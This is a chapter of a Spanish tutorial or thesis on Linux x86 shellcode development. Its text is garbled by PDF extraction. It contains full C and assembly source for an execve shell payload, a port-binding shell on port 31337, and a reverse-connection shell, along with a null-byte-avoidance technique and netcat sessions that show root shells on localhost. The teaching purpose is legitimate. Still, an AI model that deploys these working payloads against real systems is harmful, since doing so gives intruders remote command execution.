Despus de haber estudiado toda la problemtica inherente a la programacin de e a o shellcodes en los cap tulos anteriores, en este cap tulo se va a estudiar cuales sn los o dos tipos de shellcodes existentes y cuales son sus mximos exponentes. a Por un lado se presentaran los shellcodes de mbito local y por otro lado, se a estudiaran tambin los shellcodes de mbito remoto. e a Los shellcodes locales son aquellos cdigos que no establecen ninguna conexin ni o o env datos a otras mquinas que no sean la explotada. Estos shellcodes slo son an a o utiles si se tiene acceso f sico a la mquina explotada. a Los shellcodes remotos son aquellos shellcodes que establecen conexiones o env an datos a otras mquinas que no sean la explotada. Se usan este tipo de shellcodes a cuando no se puede tener acceso a la mquina explotada. a

6.1.

Shellcodes locales

Tal y como se ha explicado, este tipo de shellcode trabaja en un ambito local y slo es util cuando se tiene acceso f o sico a la mquina explotada. Como shellcode a local slo estudiaremos el llamado execve shellcode ya que una vez ejecutado este o cdigo se tendr el control absoluto de la mquina donde se ejecute. o a a

6.1.1.

Execve shellcode

Este es uno de los shellcodes ms bsicos que existen, sin embargo, su correcta a a ejecucin permite obtener el control absoluto de la mquina donde se ejecute. Este o a shellcode ejecuta una l nea de comandos y si disponemos de los privilegios sucientes podremos controlar todos los aspectos del sistema. Tal y como su nombre indica, este shellcode utiliza una system call llamada execve. El prototipo de la funcin es el siguiente: o int execve ( const char * filename, const char * argv[], const char *envp[]); Esta llamada al sistema permite ejecutar cualquier ejecutable que exista en el sistema mientras tengamos los permisos sucientes. El parmetro f ilename indica el nombre del ejecutable. Los argumentos de dicho a ejecutable se almacenan en la variable argv. El argumento envp contiene un array de variables de entorno que seran heredadas por el ejecutable en cuestin. o En C, el cdigo equivalente al execve shellcode ser tan simple como las instruco a ciones citadas en el Cdigo 7. o 21

1 2 3 4 5 6 7 8

# include < unistd .h > int main ( void ) { char * shell [2]; shell [0] = " / bin / sh " ; shell [1] = 0; execve ( " / bin / sh " , shell , NULL ) ; }

Cdigo 7. Execve shellcode en C o Una vez visto el cdigo en C, se muestra en el Cdigo 77 una de las posibles o o implementaciones en ensamblador del shellcode en cuestin. o
1 2 3 4 5 6 7 8 9 10 11 12 13

BITS 32 xor eax , eax cdq mov byte al , 11 push edx push long 0 x68732f2f push long 0 x6e69622f mov ebx , esp push edx mov edx , esp push ebx mov ecx , esp int 0 x80

Cdigo 8. Execve shellcode en ensamblador o En la segunda l nea del Cdigo 77 se pone el registro eax a cero. A continuacin o o se pone el registro edx a cero, con la instruccin cdq, tal y como se ha explicado en el o cap tulo anterior. El registro edx se utilizar como tercer parmetro de la llamada al a a sistema execve. Con la cuarta l nea se almacena el nmero de la llamada al sistema u en el registro eax. Con las lineas 5, 6 y 7 se aade el primer argumento de la llamada al sistema a n la pila. El push edx hace la funcin de terminador de cadena, dado que edx est a o a cero. La arquitectura con la que se trabaja es de 32 bits con lo que en la pila slo o se pueden insertar variables de 32 bits. As pues, y dado que la arquitectura es little endian, primero se inserta hs// con el push long 0x68732f 2f y en la siguiente l nea se inserta nib/ con el push long 0x6e69622f . Como se ha comentado, en la pila no se pueden insertar valores de ms de 32 bits en una sola instruccin, y por la misma a o razn tampoco se pueden insertar cadenas de menos de 32 bits. Este hecho justica o que la cadena hs// tenga dos / en vez de una. La duplicacin de la / no implica o 22

ningn problema. u En la octava l nea se almacena en ebx la direccin de memoria donde se encuentra la o cadena /bin//sh. Esta direccin ser el segundo parmetro de la llamada al sistema. o a a En la novena l nea se insertan en la pila 32 bits nulos que harn la funcin de a o puntero nulo en el segundo parmetro, tal y como especica la pgina del manual de a a la llamada al sistema execve. En la dcima l e nea se almacena la direccin de este puntero nulo en el registro edx o para usarlo como tercer parmetro de la llamada al sistema. a En la l nea 11, se aade a la pila la direccin de memoria donde se encuentra la n o cadena /bin//sh -o sea, se inserta el puntero a la cadena- para que, posteriormente, en la l nea 12, sea utilizado como segundo parmetro almacenndose en el registro a a ecx. En la l nea 13 noticamos al ncleo de que todo est preparado para que se ejecute u a una llamada al sistema. Tal y como se puede ver en el Cdigo 9 la ejecucin de este shellcode local se o o realiza de un modo satisfactorio y el usuario obtiene su l nea de comandos con la que ejecutar cualquier programa.
n e wl o g @ B e l e r i a n d :~/ Documentos / Shellcoding / Codigos / E x ec ve Sh e ll co de / P ushingEx ecve$ ./ genExec . sh execve - Pushing2 . S #### Generating executable ... #### sourceDOTo = execve - Pushing2 . o executable = execve - Pushing2 ld : warning : cannot find entry symbol _start ; defaulting to 0 0 0 0 0 00 0 0 8 0 4 8 0 6 0 [ sudo ] password for newlog : n e wl o g @ B e l e r i a n d :~/ Documentos / Shellcoding / Codigos / E x ec ve Sh e ll co de / P ushingEx ecve$ ./ execve - Pushing2 # id uid =1000( newlog ) gid =1000( newlog ) euid =0( root ) groups =4( adm ) ,20( dialout ) , 24( cdrom ) ,46( plugdev ) ,104( lpadmin ) ,115( admin ) ,120( sambashare ) ,1000( newlog ) # exit

Cdigo 9. Ejecucin Execve shellcode o o Como se puede ver en el Cdigo 9, para la generacin del ejecutable nal del o o shellcode se utiliza el script genExec.sh. Para entender el funcionamiento de este script y muchos otros detalles sobre la generacin de los ejecutables que se utilizarn o a en esta investigacin, se remite al lector al Apndice II. o e

6.2.

Shellcodes remotos

Como se ha comentado al inicio de este cap tulo, este tipo de shellcode ser utia lizada cuando no se disponga de acceso f sico a la mquina objetivo. El objetivo de a este tipo de shellcodes es ejecutarse en sof tware que est pensado para gestionar e peticiones recibidas. Una vez el sof tware haya sido explotado, el shellcode se encargar de que el sistema vulnerado se conecte a una mquina espec a a ca, o espere

23

y acepte una conexin o simplemente env informacin sensible. Como ya se ha o e o comentado, las limitaciones de un shellcode dependen slo de nuestra imaginacin. o o

6.2.1.

Port binding shellcode

Este tipo de shellcode es uno de los ms habituales cuando se trata de explotar a vulnerabilidades remotas. El objetivo de este shellcode es el de vincular el intrprete e de comandos del sistema -shell- a un puerto determinado donde escuchar a la espera a de conexiones remotas. Un diagrama de ujo vlido para este tipo de shellcode ser a a el de la Figura 4. Figura 4. Diagrama de ujo

24

El diagrama de ujo es bastante autoexplicativo, sin embargo, una vez se revise el cdigo en c que responde a dicho diagrama, se har una explicacin concisa de cada o a o instruccin que implique cierta dicultad o novedad. Una posible implementacin o o del shellcode de vinculacin a un puerto podr ser la mostrada en el Cdigo 10. o a o
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20

# include < unistd .h > # include < sys / socket .h > # include < netinet / in .h > int main ( void ) { int new , i , sockfd = socket ( AF_INET , SOCK_STREAM ,0) ; struct sockaddr_in sin ; sin . sin_family = AF_INET ; sin . sin_addr . s_addr = 0; sin . sin_port = htons (12345) ; bind ( sockfd , ( struct sockaddr *) & sin , sizeof ( sin ) ) ; listen ( sockfd , 5) ; new = accept ( sockfd , NULL , 0) ; for ( i = 2; i >= 0; i - -) dup2 ( new , i ) ; char * shell [2]; shell [0] = " / bin / sh " ; shell [1] = 0; execve ( shell [0] , shell , NULL ) ; }

Cdigo 10. Shellcode de vinculacin a un puerto en C o o Este cdigo vincula un socket14 al puerto 1234 y ejecuta una shell cuando alguien o se conecta a este puerto. Las funciones bsicas de este cdigo y de la mayor de a o a cdigos que trabajan con sockets realizan las conexiones con bind(), listen(), accept() o y dup2(). Para obtener informacin sobre cada una de ellas basta con visualizar las o 15 pginas de manuales que la mayor de sistemas unix tienen instaladas por defecto. a a El funcionamiento de este cdigo es el siguiente: o Primero se crea un socket que es el que se utilizar como parmetro para la funcin a a o accept(). Al mismo tiempo, se declara otro socket que ser el que utilizar para a a almacenar el valor de retorno de la funcin accept(). o De la sexta a la novena l nea, se declara -l nea 6- y se inicializa la estructura de datos necesaria para ejecutar la funcin bind. Como ya se ha comentado, todos los o campos de esta estructura se pueden consultar en las pginas correspondientes de a
14 Un socket es un concepto abstracto denido por una direccin IP, un protocolo de transporte o y un puerto que permite intercambiar informacin entre dos programas. o 15 Para ver un manual sobre una funcin espec o ca, basta con ejecutar en una shell el comando man <comando>. Un claro ejemplo seria man dup2.

25

su manual, sin embargo, comentaremos que la constante AF INET especica que la conexin que se realizar utilizar el protocolo T CP . La funcin htons() se encarga o a a o de convertir el valor entero que recibe de entrada a un formato con el que la funcin o bind() pueda trabajar. En la l nea 11 se ejecuta la funcin listen() que mantiene la ejecucin del cdigo o o o pausada hasta que se recibe una conexin con los parmetros denidos en el socket o a sockf d. Una vez se realiza dicha conexin, sta se acepta y se devuelve un socket que o e identica la conexin recibida. En las l o neas 13 y 14 se ejecuta un bucle tres veces que se encarga de duplicar los descriptores de lectura, escritura y salida de errores. Esto permite que todos los datos que se trasmitan de y hasta la consola ejecutada posteriormente, las pueda visualizar el usuario. Por ultimo, en la l nea 18 se ejecuta la consola que ser brindada al usuario. a Para comprobar que el Cdigo 10 funciona correctamente, una vez compilado o y ejecutado, se debe realizar una conexin hacia el socket que estar a la escucha. o a Para realizar dicha conexin se utilizar una herramienta muy util llamada N etcat o a 16 . N etcat es una herramienta muy extensa y tiene innidad de utilidades. En esta investigacin, N etcat slo se utilizar para conectar hacia una aplicacin que est a o o a o e la escucha - port binding shellcode - o para esperar que una aplicacin - reverse o connection shellcode - se conecte a l. e En el Cdigo 11 se muestra el funcionamiento del shellcode de vinculacin a un o o puerto escrito en C.
n e wl o g @ B e l e r i a n d :~/ Documentos / Shellcoding / Codigos / PortBinding / CSource$ gcc P or tB i nd in gC o de . c -o P or t Bi nd in g Co de n e wl o g @ B e l e r i a n d :~/ Documentos / Shellcoding / Codigos / PortBinding / CSource$ sudo ./ P o rt Bi nd i ng Co de

Cdigo 11. Ejecucin del shellcode de vinculacin a un puerto en C o o o Como se puede ver, primero se compila el cdigo generado y acto seguido se o ejecuta como usuario root 17 . Una vez que el shellcode est a la escucha, se debe a conectar a l siguiendo la metodolog mostrada en el Cdigo 12. e a o
n e wl o g @ B e l e r i a n d :~ $ pwd / home / newlog n e wl o g @ B e l e r i a n d :~ $ nc - vv 127.0.0.1 12345 Connection to 127.0.0.1 12345 port [ tcp /] succeeded ! pwd / home / newlog / Documentos / Shellcoding / Codigos / PortBinding / CSource id uid =0( root ) gid =0( root ) groups =0( root ) exit

Cdigo 12. Ejecucin del shellcode de vinculacin a un puerto en C o o o


Netcat es una herramienta creada por Hobbit. Su pgina a ocial http://netcat.sourceforge.net/ 17 El usuario root es el usuario administrador del sistema y tiene privilegios mximos. a
16

es

26

Tal y como se muestra en el Cdigo 12, primero se conecta al puerto 12345 de la o mquina local. La ejecucin de la herramienta N etcat se realiza desde el directorio a o /home/newlog. El shellcode de vinculacin a un puerto est escuchando en el puerto o a 12345, as que cuando se conecten a l brindar una l e a nea de comandos, y no tan slo o brindar una l a nea de comandos, sino que adems la brindar con los permisos que a a tiene el port binding shellcode, que, tal y como se ha asignado en el Cdigo 11, son o los permisos del usuario root. Como se puede ver, una vez se ha conectado con el shellcode, se muestra a partir del comando pwd que el directorio actual sobre el que se est trabajando es a /home/newlog/Documentos/Shellcoding/ Codigos/P ortBinding/CSource que es el directorio donde se hab ejecutado el a shellcode, en vez de trabajar sobre el directorio /home/newlog que es en el que se hab ejecutado la herramienta N etcat. Por otro lado, si se comprueba cual es el a identicador de usuario se puede ver que es el de usuario root en vez de ser el de cualquier otro usuario. Una vez visto y entendido el funcionamiento del cdigo en c, se debe explicar su o implementacin en ensamblador. Para escribir el shellcode se utilizar una system o a call llamada socketcall(). Tal y como se puede ver en el manual correspondiente man 2 socketcall -, esta llamada al sistema permite acceder -ejecutar- a todas las funciones utilizadas en el ejemplo anterior. La totalidad de las funciones que se pueden ejecutar con la llamada al sistem socketcall() se pueden encontrar en el chero /usr/include/linux/net.h. La sintaxis de socketcall() es la siguiente: int socketcall(int llamada, unsigned long * args); El primer argumento es un entero que identica la llamda al sistema a ejecutar. El segundo argumento es un puntero a la lista de parmetros que necesita la llamada al a sistema que se quiere ejecutar. En ensamblador, la llamada al sistema que identica a socketcall() es la nmero 102 y se debe almacenar en el registro eax, el argumento u llamada se almacena en el registro ebx y por ultimo, la direccin de memoria donde o estan almacenados los dems argumentos - args - se debe almacenar en el registro ecx. a En el Cdigo 13 se lista el cdigo fuente en ensamblador del port binding shellcode. o o Debido a que el cdigo es bastante extenso, cada l o nea tendr su propia explicacin a o en vez de dar una explicacin conjunta al nal. Comentar el cdigo permite dar una o o explicacin mucho ms detallada. o a
1 2 3 4

BITS 32 section .text global _start _start :

27

5 6

7 8 9 10 11 12 13 14 15 16 17 18 19 20

; syscall socketcall ( ebx , ecx ) donde ebx = numero funcion y ; ecx = direccion de parametros de funcion. ; s = socket (2 , 1 , 0) ; ; Llamada al sistema 102 , socketcall () . push byte 0 x66 ; En eax se almacena el numero 102 . pop eax ; Se pone a cero el registro edx. cdq ; Se pone a cero el registro ebx. xor ebx , ebx ; Se construyen los argumentos de la llamada a socket () y ; se empilan en orden inverso ; Dentro de socketcall () , la llamada socket es la numero uno. inc ebx ; Se empila el tercer parametro , protocol = 0 . push edx ; Se empila el segundo parametro , SOCK_STREAM = 1 . push byte 0 x1 ; Se empila el primer parametro , AF_INET = 2 push byte 0 x2 ; En ecx se almacena la direccion donde estan ubicados los parametros. mov ecx , esp ; Syscall socketcall () con la funcion socket () . int 0 x80 ; Se guarda el descriptor obtenido en esi para usarlo despues xchg esi , eax ; bind (s , [2 , 31337 , 0] , 16) ; ; Llamada al sistema 102 , socketcall () . push byte 0 x66 ; En eax se almacena el numero 102 . pop eax ; Se construyen los argumentos de la llamada a bind () y ; se empilan en orden inverso ; Ebx era 1 , ahora es 2 . Dentro de socketcall () la llamada bind es la dos. inc ebx

21 22 23 24 25 26 27 28

29 30 31 32 33

34 35 36 37 38 39 40 41 42 43

44

28

45

46 47 48 49

50 51

52 53

54 55

56 57 58 59 60 61

62 63 64 65 66 67 68

; Se empila el tercer parametro del struct , INADDR_ANY = 0 . push edx ; Se empila el segundo parametro del struct , PORT = 31337 . push word 0 x697a ; Se empila el primer parametro del struct , AF_INET = 2 . Ebx = 2 . push word bx ; En ecx se almacena la direccion del struct con los parametros. mov ecx , esp ; Se empilan todos los parametros en orden inverso para posteriormente ; obtener su direccion. ; Se empila el tamano del struct , sizeof ( server_struct ) = 16 push byte 16 ; Se empila la direccion del struct. push ecx ; Se empila el descriptor obtenido anteriormente. push esi ; En ecx se guarda la direccion donde estan todos los parametros. mov ecx , esp ; Syscall socketcall () con la funcion bind () . int 80 h ; listen (s , 4) ; ; Llamada al sistema 102 , socketcall () . Sin push / pop se ahorra un byte. mov byte al , 0 x66 ; Se construyen los argumentos de la llamada a listen () y ; se empilan en orden inverso ; Realizar dos inc ocupa lo mismo que un mov byte bx , 0 x4. inc ebx ; Dentro de socketcall () , la llamada listen es la cuatro. inc ebx ; Se empila el segundo parametro , backlog = 4 . Maximo num conexiones en cola. push ebx ; Se empila el descriptor obtenido por la llamada socket () . push esi ; En ecx se almacena la direccion de los parametros.

69 70 71 72 73 74 75 76

77 78

79 80

29

81 82 83 84 85 86

mov ecx , esp ; Syscall socketcall () con la funcion listen () . int 80 h ; c = accept (s , 0 , 0) ; ; Llamada al sistema 102 , socketcall () . Sin push / pop se ahorra un byte. mov byte al , 0 x66 ; Se construyen los argumentos de la llamada a accept () y ; se empilan en orden inverso ; Dentro de socketcall () , la llamada accept es la numero cinco. inc ebx ; Se empila el tercer parametro. push edx ; Se empila el segundo parametro. push edx ; Se empila el descriptor obtenido anteriormente. push esi ; En ecx se almacena la direccion de los parametros. mov ecx , esp ; Syscall socketcall () con la funcion accept () . Conection descriptor in eax. int 80 h ; En eax se almacena un cinco y en ebx el descriptor devuelto por accept () . xchg eax , ebx ; dup2 ( descriptor aceptado , descriptores I / O estandar ) ; ; Maximo descriptor estandar almacenado en ecx. push byte 0 x2 pop ecx ; Etiqueta para el bucle. dup_l00p : ; Llamada al sistema 63 . Se debe poner dentro del bucle. ; Eax se sobreescribe con el valor de retorno de dup2 () . mov byte al , 0 x3F ; Syscall dup2 () . int 80 h ; Se Decrementa el descriptor estandar hasta que sea cero. dec ecx ; Se salta a la etiqueta hasta que el flag de signo sea uno = ecx negativo. jns dup_l00p

87 88 89 90

91 92 93 94 95 96 97 98 99 100

101 102 103

104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119

120

30

121 122

123 124 125 126 127 128 129 130 131 132 133

; execve ( const char * file , char * const argv [] , char * const envp []) ; xor eax , eax mov byte al , 11 push edx push 0 x68732f2f push 0 x6e69622f mov ebx , esp push edx mov edx , esp push ebx mov ecx , esp int 80 h

Cdigo 13. Cdigo del shellcode de vinculacin a un puerto en ensamblador o o o La parte de cdigo que no est comentada es la que ya se ha explicado anterioro a mente en el apartado de shellcodes locales. La unica diferencia es que el registro edx no se inicializa a cero ya que una vez se alcanza la parte de cdigo del execve o shellcode, edx ya es cero. Por otro lado, el puerto al que se escucha tambin se ha e modicado. Ahora ya no es el puerto 12345, sino el 31337. En el Cdigo 14 se muestra el comportamiento del shellcode de vinculacin a un o o puerto y se podr comprobar como es el mismo que el visto cuando el cdigo fuente a o fu escrito en C. e
n e wl o g @ B e l e r i a n d :~/ Documentos / Shellcoding / Codigos / PortBinding / ASMSource$ . / genExec.sh PortBinding.S #### Generating executable... #### sourceDOTo = PortBinding.o executable = PortBinding [ sudo ] password for newlog : n e wl o g @ B e l e r i a n d :~/ Documentos / Shellcoding / Codigos / PortBinding / ASMSource$ . / PortBinding

Cdigo 14. Ejecucin del shellcode de vinculacin a un puerto en ensamblador o o o Como se puede ver, en el Cdigo 14 se compila el shellcode escrito en ensamblador o a partir del script genExec.sh. Tal y como se ha comentado, todos los detalles sobre la compilacin de los diferentes cdigos de esta investigacin se dan en el Apndice o o o e II. Cabe destacar que una vez se ha generado el ejecutable, se le otorgan privilegios de root. En el Cdigo 15 se muestra como conectar con el shellcode y como una o vez se ha conectado se dispone de un identicador de usuario efectivo de root, lo que permite realizar las mismas operaciones que podr realizar el usuario root. Una a breve explicacin sobre el signicado que atributos como uid o euid se da en los o prximos cap o tulos. 31

n e wl o g @ B e l e r i a n d :~ $ id uid =1000( newlog ) gid =1000( newlog ) , grupos =4( adm ) ,20( dialout ) , 24( cdrom ) ,46( plugdev ) ,104( lpadmin ) ,115( admin ) ,120( sambashare ) ,1000( newlog ) n e wl o g @ B e l e r i a n d :~ $ nc - vv 127 .0.0.1 31337 Connection to 127 .0.0.1 31337 port [ tcp /] succeeded ! id uid =1000( newlog ) gid =1000( newlog ) euid =0( root ) , groups =4( adm ) ,20( dialout ) , 24( cdrom ) ,46( plugdev ) ,104( lpadmin ) ,115( admin ) ,120( sambashare ) ,1000( newlog ) pwd / home / newlog / Documentos / Shellcoding / Codigos / PortBinding / ASMSource exit

Cdigo 15. Conexin al shellcode de vinculacin a un puerto en ensamblador o o o

32

6.2.2.

Reverse connection shellcode

El desarrollo de este tipo de shellcodes parte de la necesidad de saltarnos las restricciones que implementa un cortafuegos. Normalmente, la mayor de cortafuegos ltran el trco entrante de un ordenador a a o una red de ordenadores. Sin embargo, el trco saliente no acostumbra a estar a bloqueado ya que en la mayor de casos ocasionar ms problemas de los que solua a a cionar a. As pues, el reverse connection shellcode, shellcode de conexin inversa, a diferencia o del shellcode de vinculacin a un puerto, se encarga de realizar una conexin saliente o o del ordenador vulnerado hacia una mquina especicada en el mismo shellcode. a En C, el shellcode de conexin inversa se puede implementar como en el Cdigo 16. o o

1 2 3 4 5 6 7 8 9 10 11 12 13

# include < sys / socket .h > # include < netinet / in .h > int main () { char * shell [2]; int soc , rc ; struct sockaddr_in serv_addr ; serv_addr . sin_family = 2; serv_addr . sin_addr . s_addr = inet_addr ( " 127.0.0.1 " ) ; serv_addr . sin_port = htons ( " 12345 " ) ; soc = socket (2 , 1 , 0) ; rc = connect ( soc , ( struct sockaddr *) & serv_addr , 0 x10 ) ; dup2 ( soc , 0) ; dup2 ( soc , 1) ; dup2 ( soc , 2) ; shell [0] = " / bin / sh " ; shell [1] = 0; execve ( shell [0] , shell , 0) ; }

14 15 16 17 18 19

Cdigo 16. Shellcode de conexin inversa en C o o El cdigo de este shellcode es muy parecido al del port binding shellcode. Como o ya se ha comentado, este cdigo se conectar a un socket que est a la escucha, en o a e vez de ser l mismo el que est a la escucha. e e En la sexta l nea, se declara la estructura sockaddr in que es la que se ha de especicar para llevar a cabo o para recibir una conexin. o En la sptima l e nea, el nmero dos es el valor que tiene la constante AF INET, igual u que en la l nea nmero diez. En la misma l u nea nmero diez, el nmero uno es el u u valor de la constante SOCK STREAM y con el 0 se especica el protocolo. 33

En la octava l nea, se especica que la direccin ip a la que conectar. La funcin o o inet addr() permite al programador asignar una direccin ip a una variable de un o modo mucho ms legible. Lo mismo ocurre con la funcin htons(). Para comprender a o el funcionamiento de estas dos funciones, basta con ejecutar en un terminal los comandos man 3 inet addr y man htons respectivamente. En la l nea 10 se crea un socket con los parmetros que se han explicado anteriora mente. Este socket ser el identicador de la conexin a partir de este momento. a o En la l nea 11, se intenta conectar a partir de los datos especicados en la creacin o del socket y de la estructura sockaddr in. Acto seguido, se duplican los descriptores de entrada y salida tal y como ya se ha explicado en los cap tulos anteriores y por ultimo se ejecuta la shell que ser brindada al usuario. a Una vez visto el cdigo fuente en C del shellcode de conexin inversa, el Cdigo o o o 17 muestra una posible implementacin en ensamblador. Al igual que con el shellcode o de vinculacin a un puerto, el cdigo fuente se comentar en el mismo cdigo en vez o o a o de hacerlo posteriormente.

1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20

BITS 32 section .text global _start _start : ; syscall socketcall ( ebx , ecx ) donde ebx = numero funcion ; y ecx = direccion de parametros de funcion ; s = socket (2 , 1 , 0) ; ; Llamada al sistema 102 , socketcall () . push byte 0 x66 ; En eax almacenamos el numero 102 . pop eax ; Ponemos a cero el registro edx. cdq ; Ponemos a cero el registro ebx. xor ebx , ebx ; Construimos los argumentos de la llamada a socket () ; y los empilamos en orden inverso ; Dentro de socketcall () , la llamada socket es la numero uno. inc ebx ; Empilamos el tercer parametro , protocol = 0 . push edx ; Empilamos el segundo parametro , SOCK_STREAM = 1 . push byte 0 x1

21 22 23 24 25

34

26 27 28

29 30 31 32 33

; Empilamos el primer parametro , AF_INET = 2 push byte 0 x2 ; En ecx almacenamos la direccion donde estan ubicados los parametros. mov ecx , esp ; Syscall socketcall () con la funcion socket () . int 0 x80 ; Se guarda el descriptor obtenido en esi para usarlo despues. xchg esi , eax ; connect (s , [2 , 31337 , <IP >] , 16) ; ; Llamada al sistema 102 , socketcall () . push byte 0 x66 ; En eax se almacena el numero 102 . pop eax ; Ebx = 2 para utilizarlo como la constante AF_INET. inc ebx ; Se construyen los argumentos de la llamada connect () ; y se empilan en orden inverso. ; Se empila la direccion IP. Las b sustituyen a bytes nulos ; que se modificaran en tiempo de ejecucion. ; Se impila la direccion IP. 7 f = 127 , 01 = 1 , bb = 187 . Tercer parametro. push dword 0 x01bbbb7f ; Se pone a cero el registro ecx. xor ecx , ecx ; Se sustituyen las b de la IP por ceros. IP = 127 .0.0.1. mov word [ esp +1] , cx ; Se empila el puerto 31337 . 7 a69h = 31337 d. Segundo parametro. push word 0 x697a ; Se empila el primer parametro de la estructura. AF_INET = 2 = Ebx. push word bx ; En ecx se almacena la direccion de la estructura. mov ecx , esp ; Se empila el tercer parametro de la funcion connect () . push byte 16 ; Se empila la direccion de la estructura construida como segundo parametro. push ecx

34 35 36 37 38 39 40 41 42 43 44 45

46 47

48 49 50 51

52 53

54 55

56 57 58 59 60 61

62

35

63

64 65

66 67

68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86

; Se empila el primer parametro. El descriptor obtenido por socket () . push esi ; En ecx se almacena la direccion de todos los params de la funcion connect () . mov ecx , esp ; Dentro de socketcall () , la llamada connect () es la tercera. inc ebx ; Syscall socketcall () con la funcion connect () . int 80 h mov ebx , esi ; dup2 ( descriptor aceptado , descriptores I / O estandar ) ; ; Maximo descriptor estandar almacenado en ecx. push byte 0 x2 pop ecx ; Etiqueta para el bucle. dup_l00p : ; Llamada al sistema 63 . Se debe poner dentro del bucle. ; Eax se sobreescribe con el valor de retorno de dup2 () . mov byte al , 0 x3F ; Syscall dup2 () . int 80 h ; Se Decrementa el descriptor estandar hasta que sea cero. dec ecx ; Se salta a la etiqueta hasta que el flag de signo sea uno = ecx negativo. jns dup_l00p ; execve ( const char * file , char * const argv [] , char * const envp []) ; xor eax , eax mov byte al , 11 push edx push 0 x68732f2f push 0 x6e69622f mov ebx , esp push edx mov edx , esp push ebx mov ecx , esp int 80 h

87 88 89

90 91 92 93 94 95 96 97 98 99 100

Cdigo 17. Shellcode de conexin inversa en ensamblador o o 36

Por ultimo, cabe destacar que si una direccin IP que se inserta en el shellcode o contiene bytes nulos, el shellcode contendr bytes nulos y, por consiguiente, no se a ejecutar correctamente. Para plantear una solucin a este problema se utilizar un a o a ejemplo para ilustrar la metodolog a seguir en estos casos. a Imagine que el shellcode de conexin inversa se tuviera que conectar a la ip de o loopback, 127.0.0.1 donde 127 en hexadecimal equivale a 7f, 0 a 00 y 1 a 01. Como se puede apreciar a simple vista, dicha ip contiene bytes nulos, as que si se utilizara un cdigo tal que el 18 para almacenar la direccin ip en el shellcode, ste no se o o e ejecutar correctamente. a
1 2 3 4

BITS 32 xor eax , eax push DWORD 0 x0100007f pop eax

Cdigo 18. Insercin erronea de un byte nulo o o Recordemos que debido a que el sistema sobre el que se trabaja est basado en a una arquitectura little endian, las inserciones en la pila de varios bytes se deben realizar de manera inversa a su lectura, de izquierda a derecha. Despus de ejecutar este cdigo, en eax se deber almacenar el valor en hexadecimal e o a de la ip. Sin embargo, esto no ocurrir ya que la funcin con la que obtenemos el a o cdigo del shellcode no pasar del momento en el que se encuentre con el primer byte o a nulo. Un cdigo que solucionar dicho problema es el citado en el Cdigo 19: o a o

1 2 3 4 5

BITS 32 xor eax , eax push DWORD 0 x01BBBB7f mov WORD [ esp +1] , ax pop eax

Cdigo 19. Solucin a la insercin erronea de un byte nulo o o o En la segunda l nea se almacena la ip en la pila, pero en vez de insertar los bytes nulos, los substituimos por cualquier otro valor que no genere conictos. En la siguiente l nea, se escribe en la pila el contenido del registro ax. El registro ax contiene bytes nulos debido a que se ha realizado una correcta inicializacin. Estos o bytes nulos se escriben en la posicin esp+1, lo cual colocar 16 bits -tamao del o a n registro ax- a cero en la posicin esp + 1 byte. Como se puede comprobar, en el o shellcode de conexin inversa citado en el Cdigo 17 ya se ha utilizado esta tcnica. o o e Para comprobar que el shellcode de conexin inversa funciona correctamente se o ha de proceder tal y como se muestra en el Cdigo 20 y el Cdigo 21. o o 37

n e wl o g @ B e l e r i a n d :~ $ nc - lvv 127 .0.0.1 31337 Connection from 127 .0.0.1 port 31337 [ tcp /] accepted id uid =1000( newlog ) gid =1000( newlog ) euid =0( root ) , groups =4( adm ) ,20( dialout ) , 24( cdrom ) ,46( plugdev ) ,104( lpadmin ) ,115( admin ) ,120( sambashare ) ,1000( newlog ) pwd / home / newlog / Documentos / Shellcoding / Codigos / R e v e r s e C o n n e c t i o n / ASMSource exit n e wl o g @ B e l e r i a n d :~ $ pwd / home / newlog

Cdigo 20. Netcat a la escucha o En el Cdigo 20 primero de todo se pone la herramienta Netcat a la escucha de o conexiones en el puerto 31337. Una vez se conecta el shellcode de conexin inversa a o Netcat, el shellcode lanza una l nea de comandos que permite al usuario que ha puesto Netcat a la escucha ejecutar comandos. Acto seguido, se ejecuta el comando id para demostrar que el identicador de usuario efectivo es el del usuario root. Despus se e ejecuta el comando pwd mientras el usuario dispone de la l nea de comandos lanzada por el shellcode y una vez se naliza dicha l nea de comandos se vuelve a ejecutar el comando pwd para demostrar que su salida no es la misma y que, por tanto, los comandos ejecutados por el usuario se estaban ejecutando en la l nea de comandos lanzada por el shellcode. El Cdigo 21 muestra como se compila y se ejecuta el cdigo del shellcode de o o conexin inversa. o
n e wl o g @ B e l e r i a n d :~/ Documentos / Shellcoding / Codigos / R e v e r s e C o n n e c t i o n / ASMSource$ . / genExec.sh R e v e r s e C o n n e c t i o n . S #### Generating executable... #### sourceDOTo = R e v e r s e C o n n e c t i o n . o executable = R e v e r s e C o n n e c t i o n [ sudo ] password for newlog : n e wl o g @ B e l e r i a n d :~/ Documentos / Shellcoding / Codigos / R e v e r s e C o n n e c t i o n / ASMSource$ . / Re v e r s e C o n n e c t i o n

Cdigo 21. Ejecucin del shellcode o o

38

7.

Hacking de shellcodes

El hecho de crear un shellcode funcional ya se puede considerar hacking, sin embargo, en este apartado se incluyen tcnicas que distan mucho de ser simples optie mizaciones. En este apartado trataremos los aspectos ms avanzados en el desarrollo a de shellcodes. Haciendo una breve enumeracin, los conceptos que se tratarn son el o a de reutilizacin de las variables del programa exploratdo, reutilizacin de los sockets o o y los descriptores de archivo, la recuperacin de los privilegios de root al explotar o una aplicacin y la codicacin y decodicacin al vuelo de los shellcodes. o o o

7.1.

Cuestin de privilegios o

En este apartado se explicar un concepto que se deber implementar en la a a mayor de shellcodes, previniendo as uno de los mtodos con el que algunos de los a e programadores ms precavidos intentarn proteger su aplicacin. a a o Antes de entrar en una explicacin sobre desarrollo de esta tcnica, se deben o e explicar algunos de los atributos de un proceso, el uid y el euid. El uid18 es el atributo de un proceso que indica quien es el propietario actual de dicho proceso. Por ejemplo, si un usuario estndar intentara eliminar un proceso del que a no es propietario, el sistema no lo permitir Adems de los procesos, los cheros y a. a los directorios tambin disponen del atributo uid. As si un proceso intenta ejecutar e , una operacin sobre un chero, el kernel comprobar si el euid19 del proceso coincide o a con el uid del chero. As pues, el uid es el identicador de usuario real que coincide con el identicador del usuario que arranc el proceso. El euid es el identicador de usuario efectivo y o se le llama as debido a que es el identicador que se tiene en cuenta a la hora de considerar permisos. Se utiliza para determinar el propietario de los cheros recin e creados, para permitir el acceso a los cheros de otros usuarios. . . 